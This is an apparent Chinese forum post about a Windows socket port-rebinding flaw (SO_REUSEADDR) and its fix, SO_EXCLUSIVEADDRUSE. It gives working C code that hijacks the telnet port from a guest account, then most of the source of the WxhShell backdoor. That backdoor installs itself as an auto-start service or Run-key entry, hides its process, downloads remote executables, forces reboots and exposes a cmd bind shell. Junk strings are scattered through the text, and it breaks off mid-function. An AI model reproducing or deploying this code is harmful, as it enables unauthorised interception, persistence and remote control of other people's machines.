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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tecCU[O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XkOsnI8n d\D.l^ saddr.sin_family = AF_INET; ^q7
fN0"6 \h?C
G_|] saddr.sin_addr.s_addr = htonl(INADDR_ANY); yw$er? }M * Oo bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &+d>xy\^/ ojUBa/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j:\MrYt0H i\2~yXw\ 这意味着什么?意味着可以进行如下的攻击: Z6A*9m ]xfu@'' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >
QDmSy*& 6Jrh'6o@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gI<TfcC Y6&w0~?! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oaM $< -6(C^X% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 W{Ine>
a' DHd9yP9- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C/\)-^ iE!\)7y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -:dUD1 g,r'].Jg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #jv~FR`4v^ w?Cqe
N #include E~3wdOZv1 #include VW}xY #include .B+R+2uY3 #include :B6hYx DWORD WINAPI ClientThread(LPVOID lpParam); (Xi?Y/ int main() w =^QIr% { Ao69Qn WORD wVersionRequested; {+F/lN@ DWORD ret; bM;==W WSADATA wsaData; -uHD|
} BOOL val; @~qlSU& SOCKADDR_IN saddr; n&jfJgD&g SOCKADDR_IN scaddr; *?VbN}g2 int err; q
okgu$2 SOCKET s; L
Me{5H SOCKET sc; z}&?^YU*)` int caddsize; L#1YR}m HANDLE mt; wKIQK!B)mF DWORD tid; s=h wVersionRequested = MAKEWORD( 2, 2 ); '%vb&a!.6 err = WSAStartup( wVersionRequested, &wsaData ); 5IE 2&V if ( err != 0 ) { tXV9+AJ printf("error!WSAStartup failed!\n"); d<r=f" return -1; P4-`<i]!S } q;3.pRw( saddr.sin_family = AF_INET; }_vE
lBh6$ BxS\"W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]Nz~4ebB MkEr|w' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %QCh#v=ks saddr.sin_port = htons(23); @`^+XP K\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0&}
"!) { u%3D{Dj printf("error!socket failed!\n"); S!j=hj@qW return -1; wC+_S*M-K } $6kVhE!; val = TRUE; BT.;l I //SO_REUSEADDR选项就是可以实现端口重绑定的 ;P3sDN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jCa%(2~iQ7 { rXPq'k'h#- printf("error!setsockopt failed!\n"); =UE/GTbl return -1;
G?AZ%Yx } ze@NqCF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aVNBF` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DK;p6_tT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D~E1hr&Vd> $6e&sDJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tpOMKh.` { O$%M.C' ret=GetLastError(); kscZ
zXv printf("error!bind failed!\n"); qpjtF' return -1; aw&:$twbM } :8\!; ! listen(s,2); ,K'>s<} while(1) VJmX@zX9 { >77N5>]e caddsize = sizeof(scaddr); Y_tLSOD#/ //接受连接请求 %{WZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V3DXoRE-8i if(sc!=INVALID_SOCKET) 1RpTI7 { l?2(c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A{3Aw| ; if(mt==NULL) $<cio
X { G5a PjP printf("Thread Creat Failed!\n"); {|nm0vg`A break; ^}7iouE C } 5#3/ } J6J[\ CloseHandle(mt); Ysbd4rN } onL&lE closesocket(s); AlT41v~6 WSACleanup(); 3C'`K, return 0; o8Vtxnkg } u>SGa @R) DWORD WINAPI ClientThread(LPVOID lpParam) exT
O#*o { uTTM%-DMHT SOCKET ss = (SOCKET)lpParam; })RT2zw} SOCKET sc; Whp;wAz unsigned char buf[4096]; s3@sX_2 SOCKADDR_IN saddr; t>.1,'zb long num; H<T9$7Yr%r DWORD val; {C3AxK0 DWORD ret; &9X`tCnL //如果是隐藏端口应用的话,可以在此处加一些判断 -;9pZ'r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |`d,r.+P7 saddr.sin_family = AF_INET; ['~j1!/;6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `2`Nu:r^ saddr.sin_port = htons(23); m} /L MY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B w?Kb@ { v|uY\Z printf("error!socket failed!\n"); tVVnQX return -1; FdwT } pn3f{fQ val = 100; <q|IP_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q M7z
. { -wv5c ret = GetLastError(); C$Pe<C# return -1; 2ED^uc:
0S } gSLwpIK% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5dOA^P@`,M { hpp>+= ret = GetLastError(); Xb +)@Y4h return -1; *%<Ku&C } YF/@]6j
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {T|sU\| Q { cfI5KLG~# printf("error!socket connect failed!\n"); [GKSQt{) closesocket(sc); ^@f%A< closesocket(ss); 0w^\sf%s return -1; ZK,}3b{ } B198_T! while(1) +bK[3KG4F5 { +W|MAJtg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KY'"Mg^! //如果是嗅探内容的话,可以再此处进行内容分析和记录 /LMb~Hy, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k<W n num = recv(ss,buf,4096,0); $mFsf)1]]? if(num>0) 2_Me
4 send(sc,buf,num,0); ^ei[#I else if(num==0) nTrfbK@ break; nsR^TD;
num = recv(sc,buf,4096,0); q)JG_Y.p if(num>0) K^z-G=|N send(ss,buf,num,0); qT]Bl+h2 else if(num==0) iw1((&^)" break; Yc;cf%c1 } T{=.mW^ x closesocket(ss); tMGkm8y-A closesocket(sc); s'%KKC return 0 ; 47I5Y5 } mtDRF'>P: !R,9Pg*Ey g*$
0G ========================================================== |F5^mpU #6{"cr6l 下边附上一个代码,,WXhSHELL il^SGH E.W7`zl ========================================================== *0bbSw1kc "aNl2 T #include "stdafx.h" Yo0%5 noz 7Cf%v`B4D #include <stdio.h> W"9iFj X #include <string.h> /_~b~3{u #include <windows.h> 6_/oVvd #include <winsock2.h> !ZP1?l30 #include <winsvc.h> |u8hxa #include <urlmon.h> KLBV(`MS -,jJ{Y~ #pragma comment (lib, "Ws2_32.lib") k f~71G+ #pragma comment (lib, "urlmon.lib") js
)G 2,|*KN*e`W #define MAX_USER 100 // 最大客户端连接数 =y >P>&sI #define BUF_SOCK 200 // sock buffer !v\m%t|. #define KEY_BUFF 255 // 输入 buffer 0@a6r=`el \phG$4(7+ #define REBOOT 0 // 重启 ll;#4~iA #define SHUTDOWN 1 // 关机 #|^7{TN
5r/QPJ<h #define DEF_PORT 5000 // 监听端口 qg#WDx / Bv"Fx*{W #define REG_LEN 16 // 注册表键长度 WH :+HNl1d #define SVC_LEN 80 // NT服务名长度 QC>I<j&`! 'qLk"
// 从dll定义API j9C=m"O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :4$Ex2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p}uTqI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M64zVxsd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &rj6<b1A Ne/jvWWN // wxhshell配置信息 s%]-Sw9 struct WSCFG { z.23i^Q int ws_port; // 监听端口 tF)K$!GR[ char ws_passstr[REG_LEN]; // 口令 Lc^nNUzPo int ws_autoins; // 安装标记, 1=yes 0=no $I_04k#t char ws_regname[REG_LEN]; // 注册表键名 IBl}.o&]B# char ws_svcname[REG_LEN]; // 服务名 l/OG79qq char ws_svcdisp[SVC_LEN]; // 服务显示名 %kD WUJZ char ws_svcdesc[SVC_LEN]; // 服务描述信息 AF
D/
J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 77/y{#Sk int ws_downexe; // 下载执行标记, 1=yes 0=no FM9b0qE char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" k1>%wR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {npKdX aA%$<ItH }; r5[om$|* C|"T!1MlY4 // default Wxhshell configuration ,G1|]
~ struct WSCFG wscfg={DEF_PORT, q,d]i/T "xuhuanlingzhe", "Gcr1$xG8! 1, h./cs'& "Wxhshell", ?zUV3Qgzj "Wxhshell", (]j*)~=V "WxhShell Service", Fy-nV%P "Wrsky Windows CmdShell Service", heZ)+}U~ "Please Input Your Password: ", P&| = 1, s9'g'O5 " http://www.wrsky.com/wxhshell.exe", [$3Zid "Wxhshell.exe" IC[SJVH; }; !_<. 6ja `{I,!to // 消息定义模块 5WP[-J) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9}X3Q!iFb char *msg_ws_prompt="\n\r? for help\n\r#>"; mL+}Ka char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Ndi'b_Sh\ char *msg_ws_ext="\n\rExit."; KtY~Y char *msg_ws_end="\n\rQuit."; =B1t?(" char *msg_ws_boot="\n\rReboot..."; h0n0Dc{4 char *msg_ws_poff="\n\rShutdown..."; k_V1x0sZ char *msg_ws_down="\n\rSave to "; wd*T"V3 MS^,h>KI char *msg_ws_err="\n\rErr!"; 7x9YA$IE char *msg_ws_ok="\n\rOK!"; &m8B%9w CCq<y char ExeFile[MAX_PATH]; K1O/>dN_\O int nUser = 0; oD{V_/pdx HANDLE handles[MAX_USER]; ~QBf78@Gf int OsIsNt; $';'MoS S,AZrgh,"X SERVICE_STATUS serviceStatus; b9|F>3?r> SERVICE_STATUS_HANDLE hServiceStatusHandle; ^1,]?F^ \+GXUnkj // 函数声明 /G[y
24 Q int Install(void); pRc(>P3; int Uninstall(void); WbH/K]/1)h int DownloadFile(char *sURL, SOCKET wsh); !nVX .m9 int Boot(int flag); IvIBf2D;Q void HideProc(void); mm#U a/~1u int GetOsVer(void); &%u,b~cL? int Wxhshell(SOCKET wsl); |BH,
H void TalkWithClient(void *cs); 8f^URN<x int CmdShell(SOCKET sock); C==tJog[ int StartFromService(void); yF0,} int StartWxhshell(LPSTR lpCmdLine); Z+t?ah00 m)_1->K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /UyW&]nK VOID WINAPI NTServiceHandler( DWORD fdwControl ); w0/W=!_ 58e{WC // 数据结构和表定义 Zy*}C,Z SERVICE_TABLE_ENTRY DispatchTable[] = 3{M IBMA { e@]cI/j {wscfg.ws_svcname, NTServiceMain}, oE)c8rE {NULL, NULL} oK5(,8
(4 }; -<z'f){gb " "a+Nc // 自我安装 D{BH~IM int Install(void) h:bs/q+- { WtRy~5A2 char svExeFile[MAX_PATH]; MW*}+ PCY HKEY key; iXl1S[.l strcpy(svExeFile,ExeFile); DA@
{ d-A l'16B^ // 如果是win9x系统,修改注册表设为自启动 =j;o,
J:( if(!OsIsNt) { /u:Sn=SPd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AU'{aC+p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K&|zWpb RegCloseKey(key); &<UOi@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I}:>M!w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m(OBk;S~ RegCloseKey(key); k}T~N.0 return 0; jHz] } M!X@-t# } UO:>^,(j } |?8CV\D! else { gX(QRQ bjT0Fi0- // 如果是NT以上系统,安装为系统服务 }_?7k0EZ@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BMX x(W] if (schSCManager!=0) ;4qalxzu { =Fj:#s SC_HANDLE schService = CreateService z%g<&Cq ( Ci*TX schSCManager, H~V=TEj wscfg.ws_svcname, !Aw.f! wscfg.ws_svcdisp, cuKgO{.GH SERVICE_ALL_ACCESS, nAts.pVy" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V|a59[y? SERVICE_AUTO_START, 9h0|^ttF SERVICE_ERROR_NORMAL, .!6ufaf$ svExeFile, T3?kabbF NULL, ;F0A\5I NULL, -5>g 0o2 NULL, T@vVff NULL, >LLz G NULL Q o= ); 7L<oWAq if (schService!=0) J|DWT+$#Z { lJYv2EZ CloseServiceHandle(schService); \uPT-M* CloseServiceHandle(schSCManager); H+ M~|Ju7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ppp&3h[dW) strcat(svExeFile,wscfg.ws_svcname); &Y#9~$V= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QiRzA4-zq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9QX{b+}"e RegCloseKey(key); D3HB`{ return 0;
>=Rb:#UM } Ys3C'Gc } G:&Q)_ CloseServiceHandle(schSCManager); ;zJ_apZ:{ } |ITg-t } [X=eCHB? :iWV:0)P return 1; q;AQ6k( } ?41| e+p <_Lo3WGwc // 自我卸载 )eG&"3kFe! int Uninstall(void) oDP|>yXC) { }`g*pp* HKEY key; x
p$0J<2 ^IId
=V=2 if(!OsIsNt) { .LS.Z
4@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D0]9
-h RegDeleteValue(key,wscfg.ws_regname); @v'<~9vG RegCloseKey(key); *lTu- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dW5z0VuB$/ RegDeleteValue(key,wscfg.ws_regname); i)p__Is RegCloseKey(key); ;s!H return 0; 0y1t%C075 } s`TBz8QO$ } hg&AQk } rLXn35O else { g!QumRF x-QP+M`Pu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >L(F{c: if (schSCManager!=0) VuR BJ2D { }9kq? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 97g-*K if (schService!=0) G?g7G,|d { Z:OO|x if(DeleteService(schService)!=0) { ^49moC- CloseServiceHandle(schService); VcL CloseServiceHandle(schSCManager); ?t"PawBWE return 0; 3HiW1*5W } lt]U?VZ CloseServiceHandle(schService); QRjt.Ry| } I"!{HnSG` CloseServiceHandle(schSCManager); %)e+w+ } 4CCux4)N } 0k>&MkM\^ 6]3ZUH; return 1; -,tYfQ;: } ]aR4U` `sXx,sV?B // 从指定url下载文件 0T5>i 0/ int DownloadFile(char *sURL, SOCKET wsh) O^:h _L { 2=|IOkY HRESULT hr; GwV FD% char seps[]= "/"; @W,Y_8: char *token; IY:O? M char *file; ;0*^9 8K char myURL[MAX_PATH]; P&YaJUq.u char myFILE[MAX_PATH]; Y^G3<.B IO'Q}bU4vs strcpy(myURL,sURL); ^`7t@G$ D token=strtok(myURL,seps); t<7WM'2<y while(token!=NULL) 7AiCQWf9 { V Y3{1Dlf file=token; Yp)U'8{h c token=strtok(NULL,seps); w~&]gyf } Ed-gYL^< 2I<T<hFW] GetCurrentDirectory(MAX_PATH,myFILE); mI0r,Z*+M strcat(myFILE, "\\"); MD)"r>k strcat(myFILE, file); D^{:UbN send(wsh,myFILE,strlen(myFILE),0); Z^l!y5s/H send(wsh,"...",3,0); *J=ol hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1`t?5|s>
if(hr==S_OK) NZuFxJ-` return 0; THp `!l else Y Pc< return 1; <7^~r(DP Zy%Z]dF } (AYS>8O& 1sjn_fPz // 系统电源模块 U!5*V9T~J int Boot(int flag) (n/1:' { )8SP$ HANDLE hToken; {+:XVT_+ TOKEN_PRIVILEGES tkp; =1VH5pVr} m { fQL if(OsIsNt) { ar|[D7Xrq\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \gkajY-? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dWy1=UQfP tkp.PrivilegeCount = 1; Z]f2& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bEKLameKv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zTB9GrU if(flag==REBOOT) { <3}l8Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M<unQ1+wh return 0; +a-@
!J~: } xW =$j| else { 5KR|p Fq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +df?N return 0;
e 63|Z[8 } o3qv945 } j!\0Fyr else { u2]g1XjeG if(flag==REBOOT) { #:|?t&On if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JZzf,G: return 0; hH}/v0_ jb } e9_+$Oo else { 6sl<Z=E# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VWy:U#;+8 return 0; XB-|gPk } j*4S] ! } `uA&w}(G Nh9!lB m*] return 1; ]ECZU } QJWES%m` 9Oyi:2A // win9x进程隐藏模块 ]4mj 1g&C void HideProc(void) PAV2w_X~ { ~iZF~PQ1_ HDyZzjgG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \STvBI? if ( hKernel != NULL ) Qu FCc1Q { X.l"f'`l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~q(C j"7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xm5FQ) T FreeLibrary(hKernel); 0t?<6-3`/ } ,jsx]U/^ Z(mn
U;9{v return; O^weUpe\ } YO$b# @ ^cgq3H' // 获取操作系统版本 Xl6ZV,1=n7 int GetOsVer(void) $L8s/1up { ,7jiHF OSVERSIONINFO winfo; 8M+F!1-# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y~c[sW GetVersionEx(&winfo); P=[x!}.I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h)
PB return 1; o!r4 frP else BON""yIC return 0; !9 LAXM } ' 5 qL B4Af // 客户端句柄模块 \w[ZY$/ int Wxhshell(SOCKET wsl) Z?c=t-yqp { jQeE07g SOCKET wsh; 36WzFq# struct sockaddr_in client; '3UIriY6 DWORD myID; j_uY8c>3\q *2
$m>N while(nUser<MAX_USER) #'Y6UGJ\n { LY!3u0PnlT int nSize=sizeof(client); ;
9&.QR( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T.PZ}4 if(wsh==INVALID_SOCKET) return 1; GVc[p\h( /\uH[[s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .Xz"NyW if(handles[nUser]==0) #u5;utY:F closesocket(wsh); ?Wz(f {Hm else k=~pA iRDN nUser++; >wk=`&+V@ } b;`#Sea WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VE"0VB. &R FM
d= return 0; oy2dA } $4*E\G8 C+]q // 关闭 socket x*"pDI0k) void CloseIt(SOCKET wsh) pkV\D { qMdtJ(gq closesocket(wsh); xVz -_z nUser--; ="w8U' ExitThread(0); (VI* c!N } }%ZG>LG5J 0/00W6r0 // 客户端请求句柄 (9 z.IH7}k void TalkWithClient(void *cs) UNcJ= { HD8"=7zJk ah"MzU) SOCKET wsh=(SOCKET)cs;
9q)nNX<$) char pwd[SVC_LEN]; L5qCv -{ char cmd[KEY_BUFF]; I;.!
hV>E char chr[1];
;/^]| int i,j; - Zoo) y7IbE while (nUser < MAX_USER) { (zro7gKked OG?j6qhpl if(wscfg.ws_passstr) { tqwk?[y}+l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IJBJebqL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p<0kmA<B/ //ZeroMemory(pwd,KEY_BUFF); )>X|o$2 i=0; . I&)MZ>n while(i<SVC_LEN) { &~JfDe9IS g*r{!:,t // 设置超时 VRQbf fd_set FdRead; )av'u.]%c struct timeval TimeOut; JU=\]E@8c FD_ZERO(&FdRead); C(1A8 FD_SET(wsh,&FdRead); >?{iv1 TimeOut.tv_sec=8; N7HbOLpM TimeOut.tv_usec=0; 6[3Ioh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zj+}T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vq)gpR X6N]gD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(NT!es pwd =chr[0]; 5IE+M if(chr[0]==0xd || chr[0]==0xa) { uM#U! pwd=0; J,0WQQnb break; q%kj[ZOY$] } HSr"M.k5 i++; kSDa\l!W] } hKzBq*cV *CPB5s // 如果是非法用户,关闭 socket xlPcg7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K.iH } Yr"!&\[oz q{De&Bu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ",aT<lw. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qp~4KukL Sv~1XL W while(1) { x+*L5$;h o~.o^0Y ZeroMemory(cmd,KEY_BUFF); $YGIN7_Gg U3|&Jee // 自动支持客户端 telnet标准 y%IG:kZ, j=0; mb~=Xyk& while(j<KEY_BUFF) { z^a!C#IX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ),y!<\oQ cmd[j]=chr[0]; rm)SfT< if(chr[0]==0xa || chr[0]==0xd) { Nvx)H(8F cmd[j]=0; mcz(,u} break; c2\rjK } &t*8oNwSs j++; TH(Lzrbg } Ky'3z" THbtu*El // 下载文件 32bkouq if(strstr(cmd,"http://")) { ]g8i>,G send(wsh,msg_ws_down,strlen(msg_ws_down),0); gM;) if(DownloadFile(cmd,wsh)) Q&.IlVB[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQm.]A else RLu$$Eb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j_6` s!Yw } LE0J ;|1 else { k qY3r & XEUa switch(cmd[0]) { z"s%#/# 7S dV%" // 帮助 J^g,jBk case '?': { 0,~6TV<K send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GOZQ5m
- break; q(jkit~`A } vU8FHVytV // 安装 7i+!^Qj?y case 'i': { M]4 =(Vv+5 if(Install()) h[-d1bKwS send(wsh,msg_ws_err,strlen(msg_ws_err),0); =mi:<q else aX[1H6&=7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x'=3&vc4 break; 94p:| 5@ } /mMAwx // 卸载 F; MF:;mM case 'r': { M8#*zCp{5 if(Uninstall()) !HdvCYB> send(wsh,msg_ws_err,strlen(msg_ws_err),0); j2o1" else !0!U01SWa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
/.| A break; "J8;4p } ;Txv-lfS // 显示 wxhshell 所在路径 u6iU[5 case 'p': { 56bud3CVs char svExeFile[MAX_PATH]; x:A-p..e strcpy(svExeFile,"\n\r"); ?2?S[\@`0U strcat(svExeFile,ExeFile); `\ W send(wsh,svExeFile,strlen(svExeFile),0); k"q!|+&Fs break; E,<\T6/%q } .0Iun+nUD // 重启 QX/X {h6 case 'b': { *%OYAsc send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hyq@O8 if(Boot(REBOOT)) 't0+:o">: send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9[1U else { kb"_6,[Ms closesocket(wsh); xb+RRTgj ExitThread(0); qLQ <1>u } }XGMa?WR break; Z{,GZT } 3wN?|N // 关机 Yo~LckFF case 'd': { "wnpiB} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }pl]9 if(Boot(SHUTDOWN)) T}L^CU0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); FGDGWcRw~ else { (B_7\}v|_ closesocket(wsh); jb|mip@`
< ExitThread(0); %1-K);SJ } e-CNQnO~ break; X$7Oo^1; } h&=O-5 // 获取shell |
((1V^ case 's': { T~i%j@Q.6 CmdShell(wsh); w24{_ N closesocket(wsh); X(Y#9N" ExitThread(0); P"(z jG9- break; heE}_,$| } ia%z+:G // 退出 @uI? case 'x': { f7XQ~b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &a%WM CloseIt(wsh); a|DsHZ^6^ break; Q^z=w![z } ..t,LU@| // 离开 0>,.c2), case 'q': { ]{f^;y8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ==QWwPpA closesocket(wsh); hpbwZ WSACleanup(); (C8 U exit(1); doP$N3Zm break; v ! 7s
M } _GVE^yW~z } U@Z>/ q } nNt*} k X+=-f^)& // 提示信息 Nls83 W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E,{GU } {>8Pl2J } z%(Fo2)^
BdN8
^W return; :83,[;GO2 } ,Bisu:v6FW ^4c,U9J= // shell模块句柄 0U$:>bQ int CmdShell(SOCKET sock) e^j<jV`1 { c_
La^HS STARTUPINFO si; r55qmPhg ZeroMemory(&si,sizeof(si)); z;i4N3-: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &&[zT/]P si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >Bc>IO PROCESS_INFORMATION ProcessInfo; D`6iDit char cmdline[]="cmd"; s}6+8 fE" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ze`1fO|% return 0; 6iG(C.b } Zy^=fM DH
6q7"@ // 自身启动模式 n;wwMMBM int StartFromService(void) yL0f1nS { f|OI` typedef struct Vclr)}5 { KQ&Y2l1*>> DWORD ExitStatus; \ht ?Gn DWORD PebBaseAddress; 1N8;)HLIBJ DWORD AffinityMask; Vy__b=ti? DWORD BasePriority; !; IJ ULONG UniqueProcessId; 9A~>`.y ULONG InheritedFromUniqueProcessId; pmD4j8F_ } PROCESS_BASIC_INFORMATION; =I2@/, #~L!pKM PROCNTQSIP NtQueryInformationProcess; 5sCFzo<=vh /Rj#sxtdw static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }g~g50ci static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kx~$Bor_! ZWO)tVw9G HANDLE hProcess; ; e@gO PROCESS_BASIC_INFORMATION pbi; ipobr7G.SD i3#'*7f%j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8".2)W4*
